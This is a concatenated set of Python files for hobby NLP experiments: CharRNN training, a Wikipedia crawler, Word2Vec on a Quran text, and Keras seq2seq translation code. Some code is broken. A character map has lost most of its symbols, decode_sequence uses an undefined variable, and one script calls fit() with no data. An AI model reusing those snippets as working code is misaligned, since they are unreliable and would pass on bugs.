CharRNN(num_classes=len(vocab), batch_size=batch_size, num_steps=num_steps, + lstm_size=lstm_size, num_layers=num_layers, + learning_rate=learning_rate) + + saver = tf.train.Saver(max_to_keep=100) + with tf.Session(config=tf.ConfigProto(intra_op_parallelism_threads=NUM_THREADS)) as sess: + sess.run(tf.global_variables_initializer()) + + # Use the line below to load a checkpoint and resume training + saver.restore(sess, f'{CHECKPOINT}/e13_l256.ckpt') + + total_steps = len(encoded) // batch_size // num_steps + for e in range(14, epochs): + # Train network + cs = 0 + new_state = sess.run(model.initial_state) + min_loss = np.inf + batches = tqdm.tqdm(get_batches(encoded, batch_size, num_steps), + f"Epoch= {e+1}/{epochs} - {cs}/{total_steps}", + total=total_steps) + for x, y in batches: + cs += 1 + start = perf_counter() + feed = {model.inputs: x, + model.targets: y, + model.keep_prob: keep_prob, + model.initial_state: new_state} + batch_loss, new_state, _ = sess.run([model.loss, + model.final_state, + model.optimizer], + feed_dict=feed) + + + + + batches.set_description(f"Epoch: {e+1}/{epochs} - {cs}/{total_steps} loss:{batch_loss:.2f}") + saver.save(sess, f"{CHECKPOINT}/e{e}_l{lstm_size}.ckpt") + print("Loss:", batch_loss) + + saver.save(sess, f"{CHECKPOINT}/i{cs}_l{lstm_size}.ckpt") + + + + +from time import perf_counter +from collections import namedtuple +from colorama import Fore, init + +# local +from parameters import * +from train import * +from utils import get_time, get_text + +init() + +GREEN = Fore.GREEN +RESET = Fore.RESET + +import numpy as np +import os +import tensorflow as tf +import string + + +CHECKPOINT = "checkpoints_words" +files = ["carroll-alice.txt", "text.txt", "text8.txt"] + +if not os.path.isdir(CHECKPOINT): + os.mkdir(CHECKPOINT) + +vocab, int2word, word2int, text = get_text("data", files=files) + +encoded = np.array([word2int[w] for w in text]) + +del text + +if __name__ == "__main__": + + def calculate_time(): + global time_took + global start + global total_time_took + global times_took + global avg_time_took + global time_estimated + global total_steps + + time_took = perf_counter() - start + total_time_took += time_took + times_took.append(time_took) + avg_time_took = sum(times_took) / len(times_took) + time_estimated = total_steps * avg_time_took - total_time_took + + model = CharRNN(num_classes=len(vocab), batch_size=batch_size, num_steps=num_steps, + lstm_size=lstm_size, num_layers=num_layers, + learning_rate=learning_rate) + + saver = tf.train.Saver(max_to_keep=100) + with tf.Session(config=tf.ConfigProto(intra_op_parallelism_threads=NUM_THREADS)) as sess: + sess.run(tf.global_variables_initializer()) + + # Use the line below to load a checkpoint and resume training + # saver.restore(sess, f'{CHECKPOINT}/i3524_l128_loss=1.36.ckpt') + + # calculate total steps + total_steps = epochs * len(encoded) / (batch_size * num_steps) + time_estimated = "N/A" + times_took = [] + total_time_took = 0 + current_steps = 0 + progress_percentage = 0 + for e in range(epochs): + # Train network + new_state = sess.run(model.initial_state) + min_loss = np.inf + for x, y in get_batches(encoded, batch_size, num_steps): + current_steps += 1 + start = perf_counter() + feed = {model.inputs: x, + model.targets: y, + model.keep_prob: keep_prob, + model.initial_state: new_state} + batch_loss, new_state, _ = sess.run([model.loss, + model.final_state, + model.optimizer], + feed_dict=feed) + + progress_percentage = current_steps * 100 / total_steps + + if batch_loss < min_loss: + # saver.save(sess, f"{CHECKPOINT}/i{current_steps}_l{lstm_size}_loss={batch_loss:.2f}.ckpt") + min_loss = batch_loss + calculate_time() + print(f'{GREEN}[{progress_percentage:.2f}%] Epoch: {e+1:3}/{epochs} Training loss: {batch_loss:2.4f} - {time_took:2.4f} s/batch - ETA: {get_time(time_estimated)}{RESET}') + continue + if (current_steps % print_every_n == 0): + calculate_time() + print(f'[{progress_percentage:.2f}%] Epoch: {e+1:3}/{epochs} Training loss: {batch_loss:2.4f} - {time_took:2.4f} s/batch - ETA: {get_time(time_estimated)}', end='\r') + if (current_steps % save_every_n == 0): + saver.save(sess, f"{CHECKPOINT}/i{current_steps}_l{lstm_size}.ckpt") + + saver.save(sess, f"{CHECKPOINT}/i{current_steps}_l{lstm_size}.ckpt") + + + + +import tqdm +import os +import inflect +import glob +import pickle +import sys +from string import punctuation, whitespace + +p = inflect.engine() +UNK = "" + +char2int_target = {'\t': 0, '\n': 1, '\x0c': 2, ' ': 3, '!': 4, '"': 5, '#': 6, '': 7, '%': 8, '&': 9, "'": 10, '(': 11, ')': 12, '*': 13, '+': 14, ',': 15, '-': 16, '.': 17, +'/': 18, '0': 19, '1': 20, '2': 21, '3': 22, '4': 23, '5': 24, '6': 25, '7': 26, '8': 27, '9': 28, ':': 29, '': 30, '<': 31, '=': 32, '>': 33, '?': 34, '': +35, 'A': 36, 'B': 37, 'C': 38, 'D': 39, 'E': 40, 'F': 41, 'G': 42, 'H': 43, 'I': 44, 'J': 45, 'K': 46, 'L': 47, 'M': 48, 'N': 49, 'O': 50, 'P': 51, 'Q': 52, 'R': 53, 'S': 54, 'T': 55, 'U': 56, 'V': 57, 'W': 58, 'X': 59, 'Y': 60, 'Z': 61, '[': 62, '\\': 63, ']': 64, '^': 65, '_': 66, '': 67, 'a': 68, 'b': 69, 'c': +70, 'd': 71, 'e': 72, 'f': 73, 'g': 74, 'h': 75, 'i': 76, 'j': 77, 'k': 78, 'l': 79, 'm': 80, 'n': 81, 'o': 82, 'p': 83, 'q': 84, 'r': 85, 's': 86, 't': 87, 'u': 88, 'v': 89, 'w': 90, 'x': 91, 'y': 92, 'z': 93, '{': 94, '|': 95, '}': 96, '': 97, '': 98, '': 99, '': 100, '': 101, '': 102, '': 103, '': 104, '': 105, '\xad': 106, '': 107, '': 108, '': 109, '': 110, '': 111, '': 112, '': 113, '': 114, '': 115, '': 116, '': 117, '': 118, '': 119, '': 120, '': 121, '': 122, '': 123, '': 124, '': 125, '': 126, '': 127, '': 128, '': 129, '': 130, '': 131, '': 132, '': 133, '': 134, '': 135, '': 136, '': 137, '': 138, '': 139, '': 140, '': 141, '': 142, '': 143, '': 144, '': 145, '': 146, '': 147, '': 148, '': 149, '': 150, '': 151, '': 152, '': 153, '': 154, '': 155, '': 156, '': 157, '': 158, '': 159, '': 160, '': 161, '': 162, '': 163, '': 164, '': 165, '': 166, '': 167, +'': 168, '': 169, '': 170, '': 171, '': 172, '': 173, '': 174, '': 175, '': 176, '': 177, '': 178, '': 179, '': 180, '': 181, '': 182, '': 183, '': 184, '': 185, '': 186, '': 187, '': 188, '': 189, '': 190, '': 191, '': 192} + + +def get_time(seconds, form="{hours:02}:{minutes:02}:{seconds:02}"): + try: + seconds = int(seconds) + except: + return seconds + minutes, seconds = divmod(seconds, 60) + hours, minutes = divmod(minutes, 60) + days, hours = divmod(hours, 24) + months, days = divmod(days, 30) + years, months = divmod(months, 12) + if days: + form = "{days}d " + form + if months: + form = "{months}m " + form + elif years: + form = "{years}y " + form + return form.format(**locals()) + + +def get_text(path="data", + files=["carroll-alice.txt", "text.txt", "text8.txt"], + load=True, + char_level=False, + lower=True, + save=True, + save_index=1): + if load: + # check if any pre-cleaned saved data exists first + + pickle_files = glob.glob(os.path.join(path, "text_data*.pickle")) + if len(pickle_files) == 1: + return pickle.load(open(pickle_files[0], "rb")) + elif len(pickle_files) > 1: + sizes = [ get_size(os.path.getsize(p)) for p in pickle_files ] + s = "" + for i, (file, size) in enumerate(zip(pickle_files, sizes), start=1): + s += str(i) + " - " + os.path.basename(file) + f" ({size}) \n" + choice = int(input(f"""Multiple data corpus found: +{s} +99 - use and clean .txt files +Please choose one: """)) + + if choice != 99: + chosen_file = pickle_files[choice-1] + print("[*] Loading pickled data...") + return pickle.load(open(chosen_file, "rb")) + text = "" + for file in tqdm.tqdm(files, "Loading data"): + file = os.path.join(path, file) + with open(file) as f: + if lower: + text += f.read().lower() + else: + text += f.read() + print(len(text)) + punc = set(punctuation) + + # text = ''.join([ c for c in tqdm.tqdm(text, "Cleaning text") if c not in punc ]) + text = ''.join([ c for c in tqdm.tqdm(text, "Cleaning text") if c in char2int_target ]) + # for ws in whitespace: + # text = text.replace(ws, " ") + + if char_level: + text = list(text) + else: + text = text.split() + + # new_text = [] + new_text = text + # append = new_text.append + # co = 0 + # if char_level: + # k = 0 + # for i in tqdm.tqdm(range(len(text)), "Normalizing words"): + # if not text[i].isdigit(): + # append(text[i]) + # k = 0 + # else: + # # if this digit is mapped to a word already using + # # the below method, then just continue + # if k >= 1: + # k -= 1 + # continue + # # if there are more digits following this character + # # k = 0 + # digits = "" + # while text[i+k].isdigit(): + # digits += text[i+k] + # k += 1 + # w = p.number_to_words(digits).replace("-", " ").replace(",", "") + # for c in w: + # append(c) + # co += 1 + # else: + # for i in tqdm.tqdm(range(len(text)), "Normalizing words"): + # # convert digits to words + # # (i.e '7' to 'seven') + # if text[i].isdigit(): + # text[i] = p.number_to_words(text[i]).replace("-", " ") + # append(text[i]) + # co += 1 + # else: + # append(text[i]) + vocab = sorted(set(new_text)) + print(f"alices in vocab:", "alices" in vocab) + # print(f"Converted {co} digits to words.") + print(f"Total vocabulary size:", len(vocab)) + int2word = { i:w for i, w in enumerate(vocab) } + word2int = { w:i for i, w in enumerate(vocab) } + + if save: + pickle_filename = os.path.join(path, f"text_data_{save_index}.pickle") + print("Pickling data for future use to", pickle_filename) + pickle.dump((vocab, int2word, word2int, new_text), open(pickle_filename, "wb")) + + return vocab, int2word, word2int, new_text + + +def get_size(size, suffix="B"): + factor = 1024 + for unit in ['', 'K', 'M', 'G', 'T', 'P']: + if size < factor: + return "{:.2f}{}{}".format(size, unit, suffix) + size /= factor + return "{:.2f}{}{}".format(size, "E", suffix) + + + + +import wikipedia +from threading import Thread + + + + + +def gather(page_name): + print(f"Crawling {page_name}") + page = wikipedia.page(page_name) + filename = page_name.replace(" ", "_") + print(page.content, file=open(f"data/{filename}.txt", 'w', encoding="utf-8")) + print(f"Done crawling {page_name}") + for i in range(5): + Thread(target=gather, args=(page.links[i],)).start() + + +if __name__ == "__main__": + pages = ["Relativity"] + + for page in pages: + gather(page) + + + + +# from keras.preprocessing.text import Tokenizer +from utils import chunk_seq +from collections import Counter +from nltk.corpus import stopwords +from keras.preprocessing.sequence import pad_sequences +import numpy as np +import gensim + +sequence_length = 200 +embedding_dim = 200 +# window_size = 7 +# vector_dim = 300 +# epochs = 1000 + +# valid_size = 16 # Random set of words to evaluate similarity on. +# valid_window = 100 # Only pick dev samples in the head of the distribution. +# valid_examples = np.random.choice(valid_window, valid_size, replace=False) + +with open("data/quran_cleaned.txt", encoding="utf8") as f: + text = f.read() + + +# print(text[:500]) +ayat = text.split(".") + +words = [] +for ayah in ayat: + words.append(ayah.split()) + +# print(words[:5]) +# stop words +stop_words = stopwords.words("arabic") +# most common come at the top +# vocab = [ w[0] for w in Counter(words).most_common() if w[0] not in stop_words] +# words = [ word for word in words if word not in stop_words] +new_words = [] +for ayah in words: + new_words.append([ w for w in ayah if w not in stop_words]) + +# print(len(vocab)) +# n = len(words) / sequence_length +# # split text to n sequences +# print(words[:10]) +# words = chunk_seq(words, len(ayat)) +vocab = [] +for ayah in new_words: + for w in ayah: + vocab.append(w) +vocab = sorted(set(vocab)) +vocab2int = {w: i for i, w in enumerate(vocab, start=1)} +int2vocab = {i: w for i, w in enumerate(vocab, start=1)} + +encoded_words = [] +for ayah in new_words: + encoded_words.append([ vocab2int[w] for w in ayah ]) + +encoded_words = pad_sequences(encoded_words) +# print(encoded_words[10]) +words = [] +for seq in encoded_words: + words.append([ int2vocab[w] if w != 0 else "_unk_" for w in seq ]) +# print(words[:5]) +# # define model +print("Training Word2Vec Model...") +model = gensim.models.Word2Vec(sentences=words, size=embedding_dim, workers=7, min_count=1, window=6) +path_to_save = r"E:\datasets\word2vec_quran.txt" +print("Saving model...") +model.wv.save_word2vec_format(path_to_save, binary=False) +# print(dir(model)) + + + + +from keras.layers import Embedding, LSTM, Dense, Activation, BatchNormalization +from keras.layers import Flatten +from keras.models import Sequential +from preprocess import words, vocab, sequence_length, sequences, vector_dim +from preprocess import window_size + +model = Sequential() + +model.add(Embedding(len(vocab), vector_dim, input_length=sequence_length)) +model.add(Flatten()) +model.add(Dense(1)) + +model.compile("adam", "binary_crossentropy") +model.fit() + + + + +def chunk_seq(seq, num): + avg = len(seq) / float(num) + out = [] + last = 0.0 + while last < len(seq): + out.append(seq[int(last):int(last + avg)]) + last += avg + return out + + +def encode_words(words, vocab2int): + # encoded = [ vocab2int[word] for word in words ] + encoded = [] + append = encoded.append + for word in words: + c = vocab2int.get(word) + if c: + append(c) + return encoded + +def remove_stop_words(vocab): + # remove stop words + vocab.remove("the") + vocab.remove("of") + vocab.remove("and") + vocab.remove("in") + vocab.remove("a") + vocab.remove("to") + vocab.remove("is") + vocab.remove("as") + vocab.remove("for") + + + + +# encoding: utf-8 +""" +author: BrikerMan +contact: eliyar917gmail.com +blog: https://eliyar.biz +version: 1.0 +license: Apache Licence +file: w2v_visualizer.py +time: 2017/7/30 9:37 +""" +import sys +import os +import pathlib +import numpy as np +from gensim.models.keyedvectors import KeyedVectors +import tensorflow as tf +from tensorflow.contrib.tensorboard.plugins import projector + + +def visualize(model, output_path): + meta_file = "w2x_metadata.tsv" + placeholder = np.zeros((len(model.wv.index2word), model.vector_size)) + + with open(os.path.join(output_path, meta_file), 'wb') as file_metadata: + for i, word in enumerate(model.wv.index2word): + placeholder[i] = model[word] + # temporary solution for https://github.com/tensorflow/tensorflow/issues/9094 + if word == '': + print("Emply Line, should replecaed by any thing else, or will cause a bug of tensorboard") + file_metadata.write("{0}".format('').encode('utf-8') + b'\n') + else: + file_metadata.write("{0}".format(word).encode('utf-8') + b'\n') + + # define the model without training + sess = tf.InteractiveSession() + + embedding = tf.Variable(placeholder, trainable=False, name='w2x_metadata') + tf.global_variables_initializer().run() + + saver = tf.train.Saver() + writer = tf.summary.FileWriter(output_path, sess.graph) + + # adding into projector + config = projector.ProjectorConfig() + embed = config.embeddings.add() + embed.tensor_name = 'w2x_metadata' + embed.metadata_path = meta_file + + # Specify the width and height of a single thumbnail. + projector.visualize_embeddings(writer, config) + saver.save(sess, os.path.join(output_path, 'w2x_metadata.ckpt')) + print('Run tensorboard --logdir={0} to run visualize result on tensorboard'.format(output_path)) + + +if __name__ == "__main__": + """ + Use model.save_word2vec_format to save w2v_model as word2evc format + Then just run python w2v_visualizer.py word2vec.text visualize_result + """ + try: + model_path = sys.argv[1] + output_path = sys.argv[2] + except: + print("Please provice model path and output path") + model = KeyedVectors.load_word2vec_format(model_path) + pathlib.Path(output_path).mkdir(parents=True, exist_ok=True) + visualize(model, output_path) + + + + +from keras.preprocessing.text import Tokenizer +from keras.preprocessing.sequence import pad_sequences +from keras.utils import to_categorical +import numpy as np +import pickle +import tqdm + +class NMTGenerator: + """A class utility for generating Neural-Machine-Translation large datasets""" + def __init__(self, source_file, target_file, num_encoder_tokens=None, num_decoder_tokens=None, + source_sequence_length=None, target_sequence_length=None, x_tk=None, y_tk=None, + batch_size=256, validation_split=0.15, load_tokenizers=False, dump_tokenizers=True, + same_tokenizer=False, char_level=False, verbose=0): + self.source_file = source_file + self.target_file = target_file + self.same_tokenizer = same_tokenizer + self.char_level = char_level + if not load_tokenizers: + # x ( source ) tokenizer + self.x_tk = x_tk if x_tk else Tokenizer(char_level=self.char_level) + # y ( target ) tokenizer + self.y_tk = y_tk if y_tk else Tokenizer(char_level=self.char_level) + else: + self.x_tk = pickle.load(open("results/x_tk.pickle", "rb")) + self.y_tk = pickle.load(open("results/y_tk.pickle", "rb")) + # remove '?' and '.' from filters + # which means include them in vocabulary + # add "'" to filters + self.x_tk.filters = self.x_tk.filters.replace("?", "").replace("_", "") + "'" + self.y_tk.filters = self.y_tk.filters.replace("?", "").replace("_", "") + "'" + + if char_level: + self.x_tk.filters = self.x_tk.filters.replace(".", "").replace(",", "") + self.y_tk.filters = self.y_tk.filters.replace(".", "").replace(",", "") + + if same_tokenizer: + self.y_tk = self.x_tk + # max sequence length of source language + self.source_sequence_length = source_sequence_length + # max sequence length of target language + self.target_sequence_length = target_sequence_length + # vocab size of encoder + self.num_encoder_tokens = num_encoder_tokens + # vocab size of decoder + self.num_decoder_tokens = num_decoder_tokens + # the batch size + self.batch_size = batch_size + # the ratio which the dataset will be partitioned + self.validation_split = validation_split + # whether to dump x_tk and y_tk when finished tokenizing + self.dump_tokenizers = dump_tokenizers + # cap to remove _unk_ samples + self.n_unk_to_remove = 2 + self.verbose = verbose + + def load_dataset(self): + """Loads the dataset: + 1. load the data from files + 2. tokenize and calculate sequence lengths and num_tokens + 3. post pad the sequences""" + self.load_data() + if self.verbose: + print("[+] Data loaded") + self.tokenize() + if self.verbose: + print("[+] Text tokenized") + self.pad_sequences() + if self.verbose: + print("[+] Sequences padded") + self.split_data() + if self.verbose: + print("[+] Data splitted") + + def load_data(self): + """Loads data from files""" + self.X = load_data(self.source_file) + self.y = load_data(self.target_file) + # remove much unks on a single sample + X, y = [], [] + co = 0 + for question, answer in zip(self.X, self.y): + if question.count("_unk_") >= self.n_unk_to_remove or answer.count("_unk_") >= self.n_unk_to_remove: + co += 1 + else: + X.append(question) + y.append(answer) + self.X = X + self.y = y + if self.verbose >= 1: + print("[*] Number of samples:", len(self.X)) + if self.verbose >= 2: + print("[!] Number of samples deleted:", co) + + def tokenize(self): + """Tokenizes sentences/strings as well as calculating input/output sequence lengths + and input/output vocab sizes""" + self.x_tk.fit_on_texts(self.X) + self.y_tk.fit_on_texts(self.y) + self.X = self.x_tk.texts_to_sequences(self.X) + self.y = self.y_tk.texts_to_sequences(self.y) + # calculate both sequence lengths ( source and target ) + self.source_sequence_length = max([len(x) for x in self.X]) + self.target_sequence_length = max([len(x) for x in self.y]) + # calculating number of encoder/decoder vocab sizes + self.num_encoder_tokens = len(self.x_tk.index_word) + 1 + self.num_decoder_tokens = len(self.y_tk.index_word) + 1 + # dump tokenizers + pickle.dump(self.x_tk, open("results/x_tk.pickle", "wb")) + pickle.dump(self.y_tk, open("results/y_tk.pickle", "wb")) + + def pad_sequences(self): + """Pad sequences""" + self.X = pad_sequences(self.X, maxlen=self.source_sequence_length, padding='post') + self.y = pad_sequences(self.y, maxlen=self.target_sequence_length, padding='post') + + def split_data(self): + """split training/validation sets using self.validation_split""" + split_value = int(len(self.X)*self.validation_split) + self.X_test = self.X[:split_value] + self.X_train = self.X[split_value:] + self.y_test = self.y[:split_value] + self.y_train = self.y[split_value:] + # free up memory + del self.X + del self.y + + def shuffle_data(self, train=True): + """Shuffles X and y together + :params train (bool): whether to shuffle training data, default is True + Note that when train is False, testing data is shuffled instead.""" + state = np.random.get_state() + if train: + np.random.shuffle(self.X_train) + np.random.set_state(state) + np.random.shuffle(self.y_train) + else: + np.random.shuffle(self.X_test) + np.random.set_state(state) + np.random.shuffle(self.y_test) + + def next_train(self): + """Training set generator""" + return self.generate_batches(self.X_train, self.y_train, train=True) + + def next_validation(self): + """Validation set generator""" + return self.generate_batches(self.X_test, self.y_test, train=False) + + def generate_batches(self, X, y, train=True): + """Data generator""" + same_tokenizer = self.same_tokenizer + batch_size = self.batch_size + char_level = self.char_level + source_sequence_length = self.source_sequence_length + target_sequence_length = self.target_sequence_length + if same_tokenizer: + num_encoder_tokens = max([self.num_encoder_tokens, self.num_decoder_tokens]) + num_decoder_tokens = num_encoder_tokens + else: + num_encoder_tokens = self.num_encoder_tokens + num_decoder_tokens = self.num_decoder_tokens + while True: + for j in range(0, len(X), batch_size): + encoder_input_data = X[j: j+batch_size] + decoder_input_data = y[j: j+batch_size] + # update batch size ( different size in last batch of the dataset ) + batch_size = encoder_input_data.shape[0] + if self.char_level: + encoder_data = np.zeros((batch_size, source_sequence_length, num_encoder_tokens)) + decoder_data = np.zeros((batch_size, target_sequence_length, num_decoder_tokens)) + else: + encoder_data = encoder_input_data + decoder_data = decoder_input_data + + decoder_target_data = np.zeros((batch_size, target_sequence_length, num_decoder_tokens)) + if char_level: + # if its char level, one-hot all sequences of characters + for i, sequence in enumerate(decoder_input_data): + for t, word_index in enumerate(sequence): + if t > 0: + decoder_target_data[i, t - 1, word_index] = 1 + decoder_data[i, t, word_index] = 1 + for i, sequence in enumerate(encoder_input_data): + for t, word_index in enumerate(sequence): + encoder_data[i, t, word_index] = 1 + else: + # if its word level, one-hot only target_data ( the one compared with dense ) + for i, sequence in enumerate(decoder_input_data): + for t, word_index in enumerate(sequence): + if t > 0: + decoder_target_data[i, t - 1, word_index] = 1 + yield ([encoder_data, decoder_data], decoder_target_data) + # shuffle data when an epoch is finished + self.shuffle_data(train=train) + + + + +def get_embedding_vectors(tokenizer): + embedding_index = {} + with open("data/glove.6B.300d.txt", encoding='utf8') as f: + for line in tqdm.tqdm(f, "Reading GloVe"): + values = line.split() + word = values[0] + vectors = np.asarray(values[1:], dtype='float32') + embedding_index[word] = vectors + + word_index = tokenizer.word_index + embedding_matrix = np.zeros((len(word_index)+1, 300)) + for word, i in word_index.items(): + embedding_vector = embedding_index.get(word) + if embedding_vector is not None: + # words not found will be 0s + embedding_matrix[i] = embedding_vector + + return embedding_matrix + + +def load_data(filename): + text = [] + append = text.append + with open(filename) as f: + for line in tqdm.tqdm(f, f"Reading {filename}"): + line = line.strip() + append(line) + return text + +# def generate_batch(X, y, num_decoder_tokens, max_length_src, max_length_target, batch_size=256): +# """Generating data""" +# while True: +# for j in range(0, len(X), batch_size): +# encoder_input_data = np.zeros((batch_size, max_length_src), dtype='float32') +# decoder_input_data = np.zeros((batch_size, max_length_target), dtype='float32') +# decoder_target_data = np.zeros((batch_size, max_length_target, num_decoder_tokens), dtype='float32') +# for i, (input_text, target_text) in enumerate(zip(X[j: j+batch_size], y[j: j+batch_size])): +# for t, word in enumerate(input_text.split()): +# encoder_input_data[i, t] = input_word_index[word] # encoder input sequence +# for t, word in enumerate(target_text.split()): +# if t > 0: +# # offset by one timestep +# # one-hot encoded +# decoder_target_data[i, t-1, target_token_index[word]] = 1 +# if t < len(target_text.split()) - 1: +# decoder_input_data[i, t] = target_token_index[word] +# yield ([encoder_input_data, decoder_input_data], decoder_target_data) + +# def tokenize(x, tokenizer=None): +# """Tokenize x +# :param x: List of sentences/strings to be tokenized +# :return: Tuple of (tokenized x data, tokenizer used to tokenize x)""" +# if tokenizer: +# t = tokenizer +# else: +# t = Tokenizer() +# t.fit_on_texts(x) +# return t.texts_to_sequences(x), t + + +# def pad(x, length=None): +# """Pad x +# :param x: list of sequences +# :param length: Length to pad the sequence to, If None, use length +# of longest sequence in x. +# :return: Padded numpy array of sequences""" +# return pad_sequences(x, maxlen=length, padding="post") + + +# def preprocess(x, y): +# """Preprocess x and y +# :param x: Feature list of sentences +# :param y: Label list of sentences +# :return: Tuple of (preprocessed x, preprocessed y, x tokenizer, y tokenizer)""" +# preprocess_x, x_tk = tokenize(x) +# preprocess_y, y_tk = tokenize(y) +# preprocess_x2 = [ [0] + s for s in preprocess_y ] +# longest_x = max([len(i) for i in preprocess_x]) +# longest_y = max([len(i) for i in preprocess_y]) + 1 +# # max_length = len(x_tk.word_index) if len(x_tk.word_index) > len(y_tk.word_index) else len(y_tk.word_index) +# max_length = longest_x if longest_x > longest_y else longest_y + +# preprocess_x = pad(preprocess_x, length=max_length) +# preprocess_x2 = pad(preprocess_x2, length=max_length) +# preprocess_y = pad(preprocess_y, length=max_length) + +# # preprocess_x = to_categorical(preprocess_x) +# # preprocess_x2 = to_categorical(preprocess_x2) +# preprocess_y = to_categorical(preprocess_y) + +# return preprocess_x, preprocess_x2, preprocess_y, x_tk, y_tk + + + + +from keras.layers import Embedding, TimeDistributed, Dense, GRU, LSTM, Input +from keras.models import Model, Sequential +from keras.utils import to_categorical + +import numpy as np +import tqdm + + +def encoder_decoder_model(num_encoder_tokens, latent_dim, num_decoder_tokens, embedding_matrix=None, embedding_layer=True): + # ENCODER + # define an input sequence and process it + + if embedding_layer: + encoder_inputs = Input(shape=(None,)) + if embedding_matrix is None: + encoder_emb_layer = Embedding(num_encoder_tokens, latent_dim, mask_zero=True) + else: + encoder_emb_layer = Embedding(num_encoder_tokens, + latent_dim, + mask_zero=True, + weights=[embedding_matrix], + trainable=False) + + encoder_emb = encoder_emb_layer(encoder_inputs) + else: + encoder_inputs = Input(shape=(None, num_encoder_tokens)) + encoder_emb = encoder_inputs + encoder_lstm = LSTM(latent_dim, return_state=True) + encoder_outputs, state_h, state_c = encoder_lstm(encoder_emb) + + # we discard encoder_outputs and only keep the states + encoder_states = [state_h, state_c] + + # DECODER + # Set up the decoder, using encoder_states as initial state + if embedding_layer: + decoder_inputs = Input(shape=(None,)) + else: + decoder_inputs = Input(shape=(None, num_encoder_tokens)) + # add an embedding layer + # decoder_emb_layer = Embedding(num_decoder_tokens, latent_dim, mask_zero=True) + if embedding_layer: + decoder_emb = encoder_emb_layer(decoder_inputs) + else: + decoder_emb = decoder_inputs + # we set up our decoder to return full output sequences + # and to return internal states as well, we don't use the + # return states in the training model, but we will use them in inference + decoder_lstm = LSTM(latent_dim, return_sequences=True, return_state=True) + decoder_outputs, _, _, = decoder_lstm(decoder_emb, initial_state=encoder_states) + # dense output layer used to predict each character ( or word ) + # in one-hot manner, not recursively + decoder_dense = Dense(num_decoder_tokens, activation="softmax") + decoder_outputs = decoder_dense(decoder_outputs) + # finally, the model is defined with inputs for the encoder and the decoder + # and the output target sequence + # turn encoder_input_data & decoder_input_data into decoder_target_data + model = Model([encoder_inputs, decoder_inputs], output=decoder_outputs) + # model.summary() + # define encoder inference model + encoder_model = Model(encoder_inputs, encoder_states) + # define decoder inference model + decoder_state_input_h = Input(shape=(latent_dim,)) + decoder_state_input_c = Input(shape=(latent_dim,)) + decoder_states_inputs = [decoder_state_input_h, decoder_state_input_c] + + # Get the embeddings of the decoder sequence + if embedding_layer: + dec_emb2 = encoder_emb_layer(decoder_inputs) + else: + dec_emb2 = decoder_inputs + + decoder_outputs, state_h, state_c = decoder_lstm(dec_emb2, initial_state=decoder_states_inputs) + decoder_states = [state_h, state_c] + decoder_outputs = decoder_dense(decoder_outputs) + decoder_model = Model([decoder_inputs] + decoder_states_inputs, [decoder_outputs] + decoder_states) + return model, encoder_model, decoder_model + + + + +def predict_sequence(enc, dec, source, n_steps, cardinality, char_level=False): + """Generate target given source sequence, this function can be used + after the model is trained to generate a target sequence given a source sequence.""" + # encode + state = enc.predict(source) + # start of sequence input + if char_level: + target_seq = np.zeros((1, 1, 61)) + else: + target_seq = np.zeros((1, 1)) + # collect predictions + output = [] + for t in range(n_steps): + # predict next char + yhat, h, c = dec.predict([target_seq] + state) + # store predictions + y = yhat[0, 0, :] + if char_level: + sampled_token_index = to_categorical(np.argmax(y), num_classes=61) + else: + sampled_token_index = np.argmax(y) + output.append(sampled_token_index) + # update state + state = [h, c] + # update target sequence + if char_level: + target_seq = np.zeros((1, 1, 61)) + else: + target_seq = np.zeros((1, 1)) + target_seq[0, 0] = sampled_token_index + + return np.array(output) + + +def decode_sequence(enc, dec, input_seq): + # Encode the input as state vectors. + states_value = enc.predict(input_seq) + + # Generate empty target sequence of length 1. + target_seq = np.zeros((1,1)) + + # Populate the first character of target sequence with the start character. + target_seq[0, 0] = 0 + + # Sampling loop for a batch of sequences + # (to simplify, here we assume a batch of size 1). + stop_condition = False + decoded_sequence = [] + + while not stop_condition: + output_tokens, h, c = dec.predict([target_seq] + states_value) + # Sample a token + sampled_token_index = np.argmax(output_tokens[0, -1, :]) + # sampled_char = reverse_target_char_index[sampled_token_index] + decoded_sentence.append(output_tokens[0, -1, :]) + + # Exit condition: either hit max length or find stop token. + if (output_tokens == '' or len(decoded_sentence) > 50): + stop_condition = True + + # Update the target sequence (of length 1). + target_seq = np.zeros((1,1)) + target_seq[0, 0] = sampled_token_index + + # Update states + states_value = [h, c] + + return decoded_sentence + + + + +from keras.preprocessing.text import Tokenizer +from keras.preprocessing.sequence import pad_sequences +from keras.utils import to_categorical +import numpy as np + + +def tokenize(x, tokenizer=None): + """Tokenize x + :param x: List of sentences/strings to be tokenized + :return: Tuple of (tokenized x data, tokenizer used to tokenize x)""" + if tokenizer: + t = tokenizer + else: + t = Tokenizer() + t.fit_on_texts(x) + return t.texts_to_sequences(x), t + + +def pad(x, length=None): + """Pad x + :param x: list of sequences + :param length: Length to pad the sequence to, If None, use length + of longest sequence in x. + :return: Padded numpy array of sequences""" + return pad_sequences(x, maxlen=length, padding="post") + + +def preprocess(x, y): + """Preprocess x and y + :param x: Feature list of sentences + :param y: Label list of sentences + :return: Tuple of (preprocessed x, preprocessed y, x tokenizer, y tokenizer)""" + preprocess_x, x_tk = tokenize(x) + preprocess_y, y_tk = tokenize(y) + preprocess_x2 = [ [0] + s for s in preprocess_y ] + longest_x = max([len(i) for i in preprocess_x]) + longest_y = max([len(i) for i in preprocess_y]) + 1 + # max_length = len(x_tk.word_index) if len(x_tk.word_index) > len(y_tk.word_index) else len(y_tk.word_index) + max_length = longest_x if longest_x > longest_y else longest_y + + preprocess_x = pad(preprocess_x, length=max_length) + preprocess_x2 = pad(preprocess_x2, length=max_length) + preprocess_y = pad(preprocess_y, length=max_length) + + # preprocess_x = to_categorical(preprocess_x) + # preprocess_x2 = to_categorical(preprocess_x2) + preprocess_y = to_categorical(preprocess_y) + + return preprocess_x, preprocess_x2, preprocess_y, x_tk, y_tk + + +def load_data(filename): + with open(filename) as f: + text = f.read() + return text.split("\n") + + +def load_dataset(): + english_sentences = load_data("data/small_vocab_en") + french_sentences = load_data("data/small_vocab_fr") + + return preprocess(english_sentences, french_sentences) + + +# def generate_batch(X, y, num_decoder_tokens, max_length_src, max_length_target, batch_size=256): +# """Generating data""" +# while True: +# for j in range(0, len(X), batch_size): +# encoder_input_data = np.zeros((batch_size, max_length_src), dtype='float32') +# decoder_input_data = np.zeros((batch_size, max_length_target), dtype='float32') +# decoder_target_data = np.zeros((batch_size, max_length_target, num_decoder_tokens), dtype='float32') +# for i, (input_text, target_text) in enumerate(zip(X[j: j+batch_size], y[j: j+batch_size])): +# for t, word in 